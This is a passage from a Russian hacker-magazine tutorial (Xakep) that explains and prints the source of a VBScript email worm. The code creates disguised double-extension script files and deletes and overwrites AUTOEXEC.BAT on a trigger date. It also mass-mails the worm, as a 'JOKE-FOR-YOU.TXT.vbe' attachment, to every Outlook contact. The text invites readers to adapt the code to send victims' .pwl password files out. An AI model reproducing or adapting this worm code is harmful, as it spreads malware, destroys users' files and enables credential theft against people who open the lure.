Интернет черви. Технология работы одного червя на VBS
Xakep, номер #046, стр. 046-052-2 FST.DeleteFolder("C:\Radias") // ... она удаляется :) end if // не стоит забывать о конструкции if...end if. If Not FST.FolderExists("C:\Radias") Then // если папка не существует, то... FST.CreateFolder("C:\Radias") // ... она создается. Set fsoo = CreateObject("Scripting.FileSystemObject") Set shellptxtvbs=fsoo.CreateTextFile("C:\Radias\this-is-a-radio-set-model-group.txt.vbs") // создается файл в папке. shellptxtvbs.WriteLine "Первая строка файла" // добавляются строки в файл (в кавычках строка нового файла). shellptxtvbs.close // после окончания работы необходимо закрыть файл. end if Шалости с autoexec.bat Теперь посмотрим, как червь работает со временем и изменяет файлы. Но перед дальнейшим просмотром необходимо запомнить одно правило: новая строка начинается с shellptxtvbs.WriteLine и идет в кавычках. if Day(now)=21 Then // если сегодня мой день рождения :). Знак равенства может быть успешно заменен на > или <. Set Killer=CreateObject("Scripting.FileSystemObject") Killer.DeleteFile("C:\AUTOEXEC.BAT") // удаляется всеми любимый файл AUTOEXEC.BAT. Set Hacker = CreateObject("Scripting.FileSystemObject") set xakep =Hacker.CreateTextFile("C:\AUTOEXEC.BAT") // вот он снова создается. xakep.WriteLine "hi, braza!" // пишем туда "привет". xakep.close // конЭц. End if Но хватит с автоэкзеком, вернемся к реестру. Пока атакуемый догадается залезть в regedit, можно успеть отключить все, что подлежит выключению. Потом запустить все необходимое и вообще перекрыть кислород пользователю :). А как баловаться в реестре, можно понять из вышеописанного кода. Если есть какие-то вопросы, то можно поискать в Интернете или покопаться в старых номерах "Хакера". Рассылка по базе А теперь о решении проблемы с рассылкой. Ниже дан код с небольшими описаниями (а-ля комментариями). Если с ним разобраться, то, не особо фантазируя, станет ясно, какие же просторы открывают эти строчки! Ведь можно рассылать не только сам вирь, но и другие файлы с компьютера врага. В том числе и .pwl файлы или еще что-нибудь. sub spreadtoemail() On Error Resume next dim x,a,ctrlists,ctrentries,malead,b,regeedit,regv,regad set regeedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regeedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regeedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "Hi!" // тема письма. male.Body = "I have a cool thing to show u!" // тело письма. male.Attachments.Add("C:\qwty\JOKE-FOR-YOU.TXT.vbe") // червячок, готовый к полету male.Send regeedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regeedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count |